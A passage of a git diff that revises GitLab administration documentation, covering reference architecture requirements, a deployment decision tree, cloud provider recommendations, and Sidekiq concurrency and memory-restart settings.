monorepos that don't follow these practices can significantly impact Gitaly requirements. Refer to the [Large Repositories](#large-repositories) for more info. +6. Gitaly has been designed and tested with repositories of varying sizes that follow best practices. However, large + repositories or monorepos that don't follow these practices can significantly impact Gitaly requirements. Refer to + [Large repositories](index.md#large-repositories) for more information. <!-- markdownlint-enable MD029 --> NOTE: @@ -147,66 +149,7 @@ monitor .[#7FFFD4,norank]u--> elb ## Requirements -Before starting, you should take note of the following requirements / guidance for this reference architecture. - -### Supported CPUs - -This reference architecture was built and tested on Google Cloud Platform (GCP) using the -[Intel Xeon E5 v3 (Haswell)](https://cloud.google.com/compute/docs/cpu-platforms) -CPU platform as a baseline ([Sysbench benchmark](https://gitlab.com/gitlab-org/quality/performance/-/wikis/Reference-Architectures/GCP-CPU-Benchmarks)). - -Newer, similarly sized CPUs are supported and may have improved performance as a result. For Omnibus environments, ARM-based equivalents are also supported. - -NOTE: -Any "burstable" instance types are not recommended due to inconsistent performance. - -### Supported infrastructure - -As a general guidance, GitLab should run on most infrastructure such as reputable Cloud Providers (AWS, GCP) and their services, -or self managed (ESXi) that meet both the specs detailed above, as well as any requirements in this section. -However, this does not constitute a guarantee for every potential permutation. - -See [Recommended cloud providers and services](index.md#recommended-cloud-providers-and-services) for more information. - -### Additional workloads - -The Reference Architectures have been [designed and tested](index.md#validation-and-test-results) for standard GitLab setups with -good headroom in mind to cover most scenarios. However, if any additional workloads are being added on the nodes, -such as security software, you may still need to adjust the specs accordingly to compensate. - -This also applies for some GitLab features where it's possible to run custom scripts, for example [server hooks](../server_hooks.md). - -As a general rule, it's recommended to have robust monitoring in place to measure the impact of -any additional workloads to inform any changes needed to be made. - -### Large repositories - -The Reference Architectures were tested with repositories of varying sizes that follow best practices. - -However, large repositories or monorepos (Several gigabytes or more) can **significantly** impact the performance -of Git and in turn the environment itself if best practices aren't being followed such as not storing -binary or blob files in LFS. Repositories are at the core of any environment the consequences can be wide-ranging -when they are not optimized. Some examples of this impact include [Git packing operations](https://git-scm.com/book/en/v2/Git-Internals-Packfiles) -taking longer and consuming high CPU / Memory resources or Git checkouts taking longer that affect both users and -CI pipelines alike. - -As such, large repositories come with notable cost and typically will require more resources to handle, -significantly so in some cases. It's therefore **strongly** recommended then to review large repositories -to ensure they maintain good health and reduce their size wherever possible. - -NOTE: -If best practices aren't followed and large repositories are present on the environment, -increased Gitaly specs may be required to ensure stable performance. - -Refer the [Managing large repositories documentation](../../user/project/repository/managing_large_repositories.md) -for more information and guidance. - -### Praefect PostgreSQL - -It's worth noting that at this time [Praefect requires its own database server](../gitaly/praefect.md#postgresql) and -that to achieve full High Availability a third-party PostgreSQL database solution is required. -We hope to offer a built in solutions for these restrictions in the future but in the meantime a non HA PostgreSQL server -can be set up via Omnibus GitLab, which the above specs reflect. Refer to the following issues for more information: [`omnibus-gitlab#5919`](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5919) & [`gitaly#3398`](https://gitlab.com/gitlab-org/gitaly/-/issues/3398). +Before starting, see the [requirements](index.md#requirements) for reference architectures. ## Setup components @@ -999,7 +942,7 @@ in the second step, do not supply the `EXTERNAL_URL` value. PostgreSQL, with Patroni managing its failover, defaults to use `pg_rewind` by default to handle conflicts. Like most failover handling methods, this has a small chance of leading to data loss. -Learn more about the various [Patroni replication methods](../postgresql/replication_and_failover.md#selecting-the-appropriate-patroni-replication-method). +For more information, see the various [Patroni replication methods](../postgresql/replication_and_failover.md#selecting-the-appropriate-patroni-replication-method). 1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. @@ -1160,18 +1103,25 @@ The following IPs are used as an example: ## Configure Gitaly Cluster -[Gitaly Cluster](../gitaly/praefect.md) is a GitLab provided and recommended fault tolerant solution for storing Git repositories. -In this configuration, every Git repository is stored on every Gitaly node in the cluster, with one being designated the primary, and failover occurs automatically if the primary node goes down. +[Gitaly Cluster](../gitaly/praefect.md) is a GitLab-provided and recommended fault tolerant solution for storing Git +repositories. In this configuration, every Git repository is stored on every Gitaly node in the cluster, with one being +designated the primary, and failover occurs automatically if the primary node goes down. -NOTE: -Gitaly Cluster provides the benefits of fault tolerance, but comes with additional complexity of setup and management. Review the existing [technical limitations and considerations before deploying Gitaly Cluster](../gitaly/index.md#before-deploying-gitaly-cluster). -For implementations with sharded Gitaly, use the same Gitaly specs. Follow the [separate Gitaly documentation](../gitaly/configure_gitaly.md) instead of this section. +Gitaly Cluster provides the benefits of fault tolerance, but comes with additional complexity of setup and management. +Review the existing [technical limitations and considerations before deploying Gitaly Cluster](../gitaly/index.md#before-deploying-gitaly-cluster). + +For guidance on: + +- Implementing sharded Gitaly instead, follow the [separate Gitaly documentation](../gitaly/configure_gitaly.md) + instead of this section. Use the same Gitaly specs. +- Migrating existing repositories that aren't managed by Gitaly Cluster, see + [migrate to Gitaly Cluster](../gitaly/index.md#migrate-to-gitaly-cluster). NOTE: Gitaly has been designed and tested with repositories of varying sizes that follow best practices. However, large repositories or monorepos not following these practices can significantly impact Gitaly performance and requirements. -Refer to the [Large Repositories](#large-repositories) for more info. +Refer to [Large repositories](index.md#large-repositories) for more information. The recommended cluster setup includes the following components: @@ -1479,14 +1429,14 @@ requirements that are dependent on data and load. NOTE: Increased specs for Gitaly nodes may be required in some circumstances such as -significantly large repositories or if any [additional workloads](#additional-workloads), +significantly large repositories or if any [additional workloads](index.md#additional-workloads), such as [server hooks](../server_hooks.md), have been added. NOTE: Gitaly has been designed and tested with repositories of varying sizes that follow best practices. However, large repositories or monorepos not following these practices can significantly impact Gitaly performance and requirements. -Refer to the [Large Repositories](#large-repositories) for more info. +Refer to [Large repositories](index.md#large-repositories) for more information. Due to Gitaly having notable input and output requirements, we strongly recommend that all Gitaly nodes use solid-state drives (SSDs). These SSDs @@ -1703,9 +1653,12 @@ To configure Praefect with TLS: ## Configure Sidekiq -Sidekiq requires connection to the [Redis](#configure-redis), +Sidekiq requires connections to the [Redis](#configure-redis), [PostgreSQL](#configure-postgresql) and [Gitaly](#configure-gitaly) instances. -Because you must use [Object storage](#configure-the-object-storage) instead of NFS for data objects, the following +It also requires a connection to [Object Storage](#configure-the-object-storage) as recommended. + +NOTE: +[Because it's recommended to use Object storage](../object_storage.md) instead of NFS for data objects, the following examples include the Object storage configuration. - `10.6.0.71`: Sidekiq 1 @@ -1872,7 +1825,13 @@ run [multiple Sidekiq processes](../sidekiq/extra_sidekiq_processes.md). ## Configure GitLab Rails This section describes how to configure the GitLab application (Rails) component. -Because you must use [Object storage](#configure-the-object-storage) instead of NFS for data objects, the following + +Rails requires connections to the [Redis](#configure-redis), +[PostgreSQL](#configure-postgresql) and [Gitaly](#configure-gitaly) instances. +It also requires a connection to [Object Storage](#configure-the-object-storage) as recommended. + +NOTE: +[Because it's recommended to use Object storage](../object_storage.md) instead of NFS for data objects, the following examples include the Object storage configuration. On each node perform the following: @@ -2015,6 +1974,10 @@ On each node perform the following: 1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step. +1. Copy the SSH host keys (all in the name format `/etc/ssh/ssh_host_*_key*`) from the first Omnibus node you configured and + add or replace the files of the same name on this server. This ensures host mismatch errors aren't thrown + for your users as they hit the load balanced Rails nodes. If this is the first Omnibus node you are configuring, + then you can skip this step. 1. To ensure database migrations are only run during reconfigure and not automatically on upgrade, run: ```shell @@ -2164,16 +2127,10 @@ running [Prometheus](../monitoring/prometheus/index.md) and ## Configure the object storage -GitLab supports using an object storage service for holding numerous types of data. - -GitLab has been tested on a number of object storage providers: - -- [Amazon S3](https://aws.amazon.com/s3/) -- [Google Cloud Storage](https://cloud.google.com/storage) -- [Digital Ocean Spaces](https://www.digitalocean.com/products/spaces) -- [Oracle Cloud Infrastructure](https://docs.oracle.com/en-us/iaas/Content/Object/Tasks/s3compatibleapi.htm) -- [OpenStack Swift (S3 compatibility mode)](https://docs.openstack.org/swift/latest/s3_compat.html) -- MinIO. We have [a guide to deploying this](https://docs.gitlab.com/charts/advanced/external-object-storage/minio.html) within our Helm Chart documentation. +GitLab supports using an [object storage](../object_storage.md) service for holding numerous types of data. +It's recommended over [NFS](../nfs.md) for data objects and in general it's better +in larger setups as object storage is typically much more performant, reliable, +and scalable. There are two ways of specifying object storage configuration in GitLab: @@ -2299,7 +2256,9 @@ services where applicable): - [Google Cloud Load Balancing](https://cloud.google.com/load-balancing) and [Amazon Elastic Load Balancing](https://aws.amazon.com/elasticloadbalancing/) are known to work. 4. Should be run on reputable Cloud Provider or Self Managed solutions. More information can be found in the [Configure the object storage](#configure-the-object-storage) section. 5. Gitaly Cluster provides the benefits of fault tolerance, but comes with additional complexity of setup and management. Review the existing [technical limitations and considerations before deploying Gitaly Cluster](../gitaly/index.md#before-deploying-gitaly-cluster). If you want sharded Gitaly, use the same specs listed above for `Gitaly`. -6. Gitaly has been designed and tested with repositories of varying sizes that follow best practices. However, large repositories or monorepos that don't follow these practices can significantly impact Gitaly requirements. Refer to the [Large Repositories](#large-repositories) for more info. +6. Gitaly has been designed and tested with repositories of varying sizes that follow best practices. However, large + repositories or monorepos that don't follow these practices can significantly impact Gitaly requirements. Refer to + [Large repositories](index.md#large-repositories) for more information. <!-- markdownlint-enable MD029 --> NOTE: diff --git a/doc/administration/reference_architectures/index.md b/doc/administration/reference_architectures/index.md index 60258fb5a09..7b01efa183b 100644 --- a/doc/administration/reference_architectures/index.md +++ b/doc/administration/reference_architectures/index.md @@ -16,7 +16,7 @@ Depending on your workflow, the following recommended reference architectures may need to be adapted accordingly. Your workload is influenced by factors including how active your users are, how much automation you use, mirroring, and repository/change size. Additionally, the displayed memory values are -provided by [GCP machine types](https://cloud.google.com/compute/docs/machine-types). +provided by [GCP machine types](https://cloud.google.com/compute/docs/machine-resource). For different cloud vendors, attempt to select options that best match the provided architecture. @@ -43,29 +43,40 @@ The following Cloud Native Hybrid reference architectures, where select recommen - [Up to 25,000 users](25k_users.md#cloud-native-hybrid-reference-architecture-with-helm-charts-alternative) - [Up to 50,000 users](50k_users.md#cloud-native-hybrid-reference-architecture-with-helm-charts-alternative) +## Before you start + +The first choice to consider is whether a Self Managed approach is correct for you and your requirements. + +Running any application in production is complex, and the same applies for GitLab. While we aim to make this as smooth as possible, there are still the general complexities. This depends on the design chosen, but typically you'll need to manage all aspects such as hardware, operating systems, networking, storage, security, GitLab itself, and more. + +As such, it's recommended that you have a working knowledge of running applications in production when deciding on going down this route. For users who want a more managed solution it's recommended to instead explore our other offerings such as [GitLab SaaS](../../subscriptions/gitlab_com/index.md) or [GitLab Dedicated](../../subscriptions/gitlab_dedicated/index.md). + ## Deciding which architecture to use The Reference Architectures are designed to strike a balance between two important factors--performance and resilience. -While they are designed to make it easier to set up GitLab at scale, it can still be a challenge to know which one will meet your requirements. +While they are designed to make it easier to set up GitLab at scale, it can still be a challenge to know which one meets your requirements. -As a general guide, **the more performant and/or resilient you want your environment to be, the more involved it will be**. +As a general guide, **the more performant and/or resilient you want your environment to be, the more complex it is**. This section explains the designs you can choose from. It begins with the least complexity, goes to the most, and ends with a decision tree. -### Backups +### Standalone (non-HA) + +For environments serving 2,000 or fewer users, we generally recommend a standalone approach by deploying a non-highly available single or multi-node environment. With this approach, you can employ strategies such as [automated backups](../../raketasks/backup_gitlab.md#configuring-cron-to-make-daily-backups) for recovery to provide a good level of RPO / RTO while avoiding the complexities that come with HA. -For environments serving 2,000 or fewer users we generally recommend that an [automated backup](../../raketasks/backup_gitlab.md#configuring-cron-to-make-daily-backups) strategy is used instead of HA. +*[RTO]: Recovery time objective +*[RPO]: Recovery point objective -Backups can provide a good level of RPO / RTO while avoiding the complexities that come with HA. +With standalone setups, especially single node environments, there are [various options available for installation](../../install/index.md) and management including [the ability to deploy directly via select cloud provider marketplaces](https://page.gitlab.com/cloud-partner-marketplaces.html) that reduce the complexity a little further. ### High Availability (HA) -High Availability ensures every component in the GitLab setup can handle failures through various mechanisms. To achieve this however is involved, and the environments required can be sizable. +High Availability ensures every component in the GitLab setup can handle failures through various mechanisms. To achieve this however is complex, and the environments required can be sizable. -For environments serving 3,000 or more users we generally recommend that a HA strategy is used as at this level outages will have a bigger impact against more users. All the architectures in this range have HA built in by design for this reason. +For environments serving 3,000 or more users we generally recommend that a HA strategy is used as at this level outages have a bigger impact against more users. All the architectures in this range have HA built in by design for this reason. -For users who still need to have HA for a lower number of users this can also be achieved with an [adjusted 3K architecture as detailed here](3k_users.md#supported-modifications-for-lower-user-counts-ha). +For users who still need to have HA for a lower number of users this can also be achieved with an adjusted [3K architecture](3k_users.md#supported-modifications-for-lower-user-counts-ha). #### Do you need High Availability (HA)? @@ -80,7 +91,7 @@ In general then, we'd only recommend you employ HA in the following scenarios: #### Zero Downtime Upgrades -[Zero Downtime Upgrades](../../update/zero_downtime.md) are available for standard Reference Architecture environments with HA (Cloud Native Hybrid is not supported at this time). This allows for an environment to stay up during an upgrade, but the process is more involved as a result and has some limitations as detailed in the documentation. +[Zero Downtime Upgrades](../../update/zero_downtime.md) are available for standard Reference Architecture environments with HA (Cloud Native Hybrid is not supported at this time). This allows for an environment to stay up during an upgrade, but the process is more complex as a result and has some limitations as detailed in the documentation. When going through this process it's worth noting that there may still be brief moments of downtime when the HA mechanisms tale effect. @@ -90,13 +101,19 @@ In most cases the downtime required for doing an upgrade in general shouldn't be As an additional layer of HA resilience you can deploy select components in Kubernetes, known as a Cloud Native Hybrid Reference Architecture. -Note that this is an alternative and more **advanced** setup compared to a standard Reference Architecture. Running services in Kubernetes is well known to be complex. **This setup is only recommended** if you have strong working knowledge and experience in Kubernetes. +This is an alternative and more **advanced** setup compared to a standard Reference Architecture. Running services in Kubernetes is well known to be complex. **This setup is only recommended** if you have strong working knowledge and experience in Kubernetes. ### GitLab Geo (Cross Regional Distribution / Disaster Recovery) With [GitLab Geo](../geo/index.md) you can have both distributed environments in different regions and a full Disaster Recovery (DR) setup in place. With this setup you would have 2 or more separate environments, with one being a primary that gets replicated to the others. In the rare event the primary site went down completely you could fail over to one of the other environments. -This is an **advanced and involved** setup and should only be undertaken if you have DR as a key requirement. Decisions then on how each environment are configured would also need to be taken, such as if each environment itself would be the full size and / or have HA. +This is an **advanced and complex** setup and should only be undertaken if you have DR as a key requirement. Decisions then on how each environment are configured would also need to be taken, such as if each environment itself would be the full size and / or have HA. + +### Cloud provider services + +For all the previously described strategies, you can run select GitLab components on equivalent cloud provider services such as the PostgreSQL database or Redis. + +[For more information, see the recommended cloud providers and services](#recommended-cloud-providers-and-services). ### Decision Tree @@ -105,14 +122,30 @@ Below you can find the above guidance in the form of a decision tree. It's recom ```mermaid %%{init: { 'theme': 'base' } }%% graph TD - L1A(<b>What Reference Architecture should I use?</b>) --> L2A(More than 3000 users?) - L2A -->|No| L3A("<a href=#do-you-need-high-availability-ha>Do you need HA?</a><br>(or Zero-Downtime Upgrades)") --> |Yes| L4A><b>Recommendation</b><br><br>3K architecture with HA<br>including supported modifications] - L3A -->|No| L4B><b>Recommendation</b><br><br>Architecture closest to user<br>count with Backups] - L2A -->|Yes| L3B[Do you have experience with<br/>and want additional resilience<br/>with select components in Kubernetes?] - L3B -->|No| L4C><b>Recommendation</b><br><br>Architecture closest to user<br>count with HA] - L3B -->|Yes| L4D><b>Recommendation</b><br><br>Cloud Native Hybrid architecture<br>closest to user count] - - L5A("<a href=#gitlab-geo-cross-regional-distribution-disaster-recovery>Do you need cross regional distribution or disaster recovery?"</a>) --> |Yes| L6A><b>Additional Recommendation</b><br><br> GitLab Geo] + L1A(<b>What Reference Architecture should I use?</b>) + + L2A(3,000 users or more?) + L2B(2,000 users or less?) + + L3A("<a href=#do-you-need-high-availability-ha>Do you need HA?</a><br>(or Zero-Downtime Upgrades)") + L3B[Do you have experience with<br/>and want additional resilience<br/>with select components in Kubernetes?] + + L4A><b>Recommendation</b><br><br>3K architecture with HA<br>and supported reductions] + L4B><b>Recommendation</b><br><br>Architecture closest to user<br>count with HA] + L4C><b>Recommendation</b><br><br>Cloud Native Hybrid architecture<br>closest to user count] + L4D>"<b>Recommendation</b><br><br>Standalone 1K or 2K<br/>architecture with Backups"] + + L1A --> L2A + L1A --> L2B + L2A -->|Yes| L3B + L3B -->|Yes| L4C + L3B -->|No| L4B + + L2B --> L3A + L3A -->|Yes| L4A + L3A -->|No| L4D + + L5A("<a href=#gitlab-geo-cross-regional-distribution-disaster--recovery>Do you need cross regional distribution or disaster recovery?"</a>) --> |Yes| L6A><b>Additional Recommendation</b><br><br> GitLab Geo] L4A -.- L5A L4B -.- L5A L4C -.- L5A @@ -122,6 +155,94 @@ classDef default fill:#FCA326 linkStyle default fill:none,stroke:#7759C2 ``` +## Requirements + +Before implementing a reference architecture, refer to the following requirements and guidance. + +### Supported CPUs + +These reference architectures were built and tested on Google Cloud Platform (GCP) using the +[Intel Xeon E5 v3 (Haswell)](https://cloud.google.com/compute/docs/cpu-platforms) +CPU platform as a baseline ([Sysbench benchmark](https://gitlab.com/gitlab-org/quality/performance/-/wikis/Reference-Architectures/GCP-CPU-Benchmarks)). + +Newer, similarly-sized CPUs are supported and may have improved performance as a result. For Omnibus GitLab environments, +ARM-based equivalents are also supported. + +NOTE: +Any "burstable" instance types are not recommended due to inconsistent performance. + +### Supported infrastructure + +As a general guidance, GitLab should run on most infrastructure such as reputable Cloud Providers (AWS, GCP, Azure) and +their services, or self managed (ESXi) that meet both: + +- The specifications detailed in each reference architecture. +- Any requirements in this section. + +However, this does not constitute a guarantee for every potential permutation. + +See [Recommended cloud providers and services](index.md#recommended-cloud-providers-and-services) for more information. + +### Additional workloads + +These reference architectures have been [designed and tested](index.md#validation-and-test-results) for standard GitLab +setups with good headroom in mind to cover most scenarios. + +However, additional workloads can multiply the impact of operations by triggering follow-up actions. +You may need to adjust the suggested specifications to compensate if you use, for example: + +- Security software on the nodes. +- Hundreds of concurrent CI jobs for [large repositories](../../ci/large_repositories/index.md). +- Custom scripts that [run at high frequency](../logs/log_parsing.md#print-top-api-user-agents). +- [Integrations](../../integration/index.md) in many large projects. +- [Server hooks](../server_hooks.md). +- [System hooks](../system_hooks.md). + +As a general rule, you should have robust monitoring in place to measure the impact of any additional workloads to +inform any changes needed to be made. + +### No swap + +Swap is not recommended in the reference architectures. It's a failsafe that impacts performance greatly. The +reference architectures are designed to have memory headroom to avoid needing swap. + +### Large repositories + +The relevant reference architectures were tested with repositories of varying sizes that follow best practices. + +However, large repositories or monorepos (several gigabytes or more) can **significantly** impact the performance +of Git and in turn the environment itself if best practices aren't being followed such as not storing binary or blob +files in LFS. + +Repositories are at the core of any environment and the consequences can be wide-ranging when they are not optimized. +Some examples of this impact include: + +- [Git packing operations](https://git-scm.com/book/en/v2/Git-Internals-Packfiles) taking longer and consuming high CPU + and memory resources. +- Git checkouts taking longer that affect both users and CI/CD pipelines alike. + +As such, large repositories come with notable cost and typically require more resources to handle, (significantly more +in some cases). You should review large repositories to ensure they maintain good health and reduce their size wherever +possible. + +NOTE: +If best practices aren't followed and large repositories are present on the environment, increased Gitaly specs may be +required to ensure stable performance. + +Refer to the [Managing large repositories documentation](../../user/project/repository/managing_large_repositories.md) +for more information and guidance. + +### Praefect PostgreSQL + +[Praefect requires its own database server](../gitaly/praefect.md#postgresql) and +that to achieve full High Availability, a third-party PostgreSQL database solution is required. + +We hope to offer a built in solutions for these restrictions in the future but, in the meantime, a non HA PostgreSQL server +can be set up using Omnibus GitLab, the specifications reflect. Refer to the following issues for more information: + +- [`omnibus-gitlab#5919`](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5919). +- [`gitaly#3398`](https://gitlab.com/gitlab-org/gitaly/-/issues/3398). + ## Recommended cloud providers and services NOTE: @@ -208,7 +329,7 @@ Several cloud provider services are known not to support the above or have been - [Amazon Aurora](https://aws.amazon.com/rds/aurora/) is incompatible and not supported. See [14.4.0](../../update/index.md#1440) for more details. - [Azure Database for PostgreSQL Single Server](https://azure.microsoft.com/en-gb/products/postgresql/#overview) (Single / Flexible) is **strongly not recommended** for use due to notable performance / stability issues or missing functionality. See [Recommendation Notes for Azure](#recommendation-notes-for-azure) for more details. - [Google AlloyDB](https://cloud.google.com/alloydb) and [Amazon RDS Multi-AZ DB cluster](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/multi-az-db-clusters-concepts.html) have not been tested and are not recommended. Both solutions are specifically not expected to work with GitLab Geo. - - Note that [Amazon RDS Multi-AZ DB instance](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Concepts.MultiAZSingleStandby.html) is a separate product and is supported. + - [Amazon RDS Multi-AZ DB instance](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Concepts.MultiAZSingleStandby.html) is a separate product and is supported. ### Recommendation notes for Azure @@ -217,8 +338,8 @@ Due to performance issues that we found with several key Azure services, we only In addition to the above, you should be aware of the additional specific guidance for Azure: - **We outright strongly do not recommend [Azure Database for PostgreSQL Single Server](https://learn.microsoft.com/en-us/azure/postgresql/single-server/overview-single-server)** specifically due to significant performance and stability issues found. **For GitLab 14.0 and higher the service is not supported** due to it only supporting up to PostgreSQL 11. - - A new service, [Azure Database for PostgreSQL Flexible Server](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/) has been released but due to it missing some functionality we don't recommend it at this time. -- [Azure Blob Storage](https://azure.microsoft.com/en-gb/products/storage/blobs/) has been found to have performance limits that can impact production use at certain times. However, this has only been seen in larger architectures. + - A new service, [Azure Database for PostgreSQL Flexible Server](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/) has been released. [Internal testing](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/91) has shown that it does look to perform as expected, but this hasn't been validated in production, so generally isn't recommended at this time. Additionally, as it's a new service, you may find that it's missing some functionality depending on your requirements. +- [Azure Blob Storage](https://azure.microsoft.com/en-gb/products/storage/blobs/) has been found to have [performance limits that can impact production use at certain times](https://gitlab.com/gitlab-org/gitlab/-/issues/344861). However, this has only been seen in our largest architectures (25k+) so far. ## Validation and test results @@ -241,7 +362,7 @@ Testing occurs against all reference architectures and cloud providers in an aut - The [GitLab Environment Toolkit](https://gitlab.com/gitlab-org/gitlab-environment-toolkit) for building the environments. - The [GitLab Performance Tool](https://gitlab.com/gitlab-org/quality/performance) for performance testing. -Network latency on the test environments between components on all Cloud Providers were measured at <5 ms. Note that this is shared as an observation and not as an implicit recommendation. +Network latency on the test environments between components on all Cloud Providers were measured at <5 ms. This is shared as an observation and not as an implicit recommendation. We aim to have a "test smart" approach where architectures tested have a good range that can also apply to others. Testing focuses on 10k Omnibus on GCP as the testing has shown this is a good bellwether for the other architectures and cloud providers as well as Cloud Native Hybrids. diff --git a/doc/administration/repository_storage_types.md b/doc/administration/repository_storage_types.md index 77a5eae3747..ab95887380d 100644 --- a/doc/administration/repository_storage_types.md +++ b/doc/administration/repository_storage_types.md @@ -208,7 +208,7 @@ CI/CD artifacts are: #### LFS objects [LFS Objects in GitLab](../topics/git/lfs/index.md) implement a similar -storage pattern using two characters and two-level folders, following Git's own implementation: +storage pattern using two characters and two-level folders, following the Git implementation: ```ruby "shared/lfs-objects/#{oid[0..1}/#{oid[2..3]}/#{oid[4..-1]}" diff --git a/doc/administration/sidekiq/extra_sidekiq_processes.md b/doc/administration/sidekiq/extra_sidekiq_processes.md index d5007e9a3e9..7959d1a5ce7 100644 --- a/doc/administration/sidekiq/extra_sidekiq_processes.md +++ b/doc/administration/sidekiq/extra_sidekiq_processes.md @@ -55,7 +55,7 @@ To view the Sidekiq processes in GitLab: By default each process defined under `sidekiq` starts with a number of threads that equals the number of queues, plus one spare thread, up to a maximum of 50. -For example, a process that handles all queues will use 50 threads by default. +For example, a process that handles all queues uses 50 threads by default. These threads run inside a single Ruby process, and each process can only use a single CPU core. The usefulness of threading depends on the work having some @@ -70,8 +70,9 @@ higher for mixed low-priority work. A reasonable starting range is `15` to `25` for a non-specialized deployment. We only recommend setting explicit concurrency by setting `min_concurrency` and -`max_concurrency` to the same value. The two values are kept for backwards -compatibility reasons, but for more predictable results, use the same value. +`max_concurrency` to the same value. The two distinct settings are kept for +backwards compatibility reasons, but for more predictable results use the same +values – otherwise you might run into issues with Sidekiq jobs piling up. For example, to set the concurrency to `20`: @@ -89,7 +90,8 @@ For example, to set the concurrency to `20`: ``` `min_concurrency` and `max_concurrency` are independent; one can be set without -the other. Setting `min_concurrency` to `0` disables the limit. +the other. Setting `min_concurrency` to `0` disables the limit. Not explicitly +setting `min_concurrency` is the same as setting it to `0`. For each queue group, let `N` be one more than the number of queues. The concurrency is set to: @@ -117,7 +119,7 @@ for more details. ## Modify the check interval -To modify Sidekiq's health check interval for the additional Sidekiq +To modify the Sidekiq health check interval for the additional Sidekiq processes: 1. Edit `/etc/gitlab/gitlab.rb`: diff --git a/doc/administration/sidekiq/index.md b/doc/administration/sidekiq/index.md index 7b3ecdd0890..bf858476c0c 100644 --- a/doc/administration/sidekiq/index.md +++ b/doc/administration/sidekiq/index.md @@ -184,8 +184,8 @@ Updates to example must be made at: ## Set number of Sidekiq queue processes to the same number as available CPUs sidekiq['queue_groups'] = ['*'] * 4 - ## Set number of Sidekiq threads per queue process to the recommend number of 10 - sidekiq['max_concurrency'] = 10 + ## Set number of Sidekiq threads per queue process to the recommend number of 20 + sidekiq['max_concurrency'] = 20 ``` 1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the GitLab instance and replace the file in the Sidekiq instance. diff --git a/doc/administration/sidekiq/processing_specific_job_classes.md b/doc/administration/sidekiq/processing_specific_job_classes.md index 080ad7d4eae..61a154c8db2 100644 --- a/doc/administration/sidekiq/processing_specific_job_classes.md +++ b/doc/administration/sidekiq/processing_specific_job_classes.md @@ -252,7 +252,7 @@ WARNING: As described in [the concurrency section](extra_sidekiq_processes.md#manage-thread-counts-explicitly), we recommend setting `min_concurrency` and `max_concurrency` to the same value. For example, if the number of queues in a queue group entry is 1, while `min_concurrency` is set to `0`, and `max_concurrency` is set to `20`, the resulting -concurrency will be set to `2` instead. A concurrency of `2` might be too low in most cases, except for very highly-CPU +concurrency is set to `2` instead. A concurrency of `2` might be too low in most cases, except for very highly-CPU bound tasks. ## Worker matching query @@ -310,8 +310,8 @@ highest to lowest precedence: and `query_b` are queries made up of the other operators here) includes queues that match either query. - `&` - the logical `AND` operator. For example, `query_a&query_b` (where - `query_a` and `query_b` are queries made up of the other operators here) will - only include queues that match both queries. + `query_a` and `query_b` are queries made up of the other operators here) + include only queues that match both queries. - `!=` - the `NOT IN` operator. For example, `feature_category!=issue_tracking` excludes all queues from the `issue_tracking` feature category. - `=` - the `IN` operator. For example, `resource_boundary=cpu` includes all diff --git a/doc/administration/sidekiq/sidekiq_job_migration.md b/doc/administration/sidekiq/sidekiq_job_migration.md index b93d86d4c86..1332d9b35d8 100644 --- a/doc/administration/sidekiq/sidekiq_job_migration.md +++ b/doc/administration/sidekiq/sidekiq_job_migration.md @@ -28,11 +28,11 @@ Step 4 involves rewriting some Sidekiq job data for jobs that are already stored - `gitlab:sidekiq:migrate_jobs:retry` for jobs to be retried. - `gitlab:sidekiq:migrate_jobs:scheduled` for scheduled jobs. -Queued jobs that are yet to be run can also be migrated with a Rake task: +Queued jobs that are yet to be run can also be migrated with a Rake task ([available in GitLab 15.6](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/101348) and later): - `gitlab:sidekiq:migrate_jobs:queued` for queued jobs to be performed asynchronously. -Most of the time, running all three at the same time is the correct choice. There are three separate tasks to allow for more fine-grained control where needed. To run all three at once: +Most of the time, running all three at the same time is the correct choice. There are three separate tasks to allow for more fine-grained control where needed. To run all three at once ([available in GitLab 15.6](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/101348) and later): ```shell # omnibus-gitlab diff --git a/doc/administration/sidekiq/sidekiq_memory_killer.md b/doc/administration/sidekiq/sidekiq_memory_killer.md index 0876f98621d..cb27d44a2e6 100644 --- a/doc/administration/sidekiq/sidekiq_memory_killer.md +++ b/doc/administration/sidekiq/sidekiq_memory_killer.md @@ -4,22 +4,21 @@ group: Application Performance info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Sidekiq MemoryKiller **(FREE SELF)** +# Reducing memory use The GitLab Rails application code suffers from memory leaks. For web requests -this problem is made manageable using -[`puma-worker-killer`](https://github.com/schneems/puma_worker_killer) which -restarts Puma worker processes if it exceeds a memory limit. The Sidekiq -MemoryKiller applies the same approach to the Sidekiq processes used by GitLab +this problem is made manageable using a [supervision thread](../operations/puma.md#reducing-memory-use) +that automatically restarts workers if they exceed a given resident set size (RSS) threshold +for a certain amount of time. +We use the same approach to the Sidekiq processes used by GitLab to process background jobs. -Unlike puma-worker-killer, which is enabled by default for all GitLab -installations of GitLab 13.0 and later, the Sidekiq MemoryKiller is enabled by default -_only_ for Omnibus packages. The reason for this is that the MemoryKiller -relies on runit to restart Sidekiq after a memory-induced shutdown and GitLab -installations from source do not all use runit or an equivalent. +GitLab monitors the available RSS limit by default only for installations using +the Linux packages (Omnibus) or Docker. The reason for this is that GitLab +relies on runit to restart Sidekiq after a memory-induced shutdown, and GitLab +self-compiled or Helm chart based installations don't use runit or an equivalent tool. -With the default settings, the MemoryKiller causes a Sidekiq restart no +With the default settings, Sidekiq restarts no more often than once every 15 minutes, with the restart causing about one minute of delay for incoming background jobs. @@ -28,41 +27,75 @@ are cleanly terminated when Sidekiq is restarted, each Sidekiq process should be run as a process group leader (for example, using `chpst -P`). If using Omnibus or the `bin/background_jobs` script with `runit` installed, this is handled for you. -## Configuring the MemoryKiller - -The MemoryKiller is controlled using environment variables. - -- 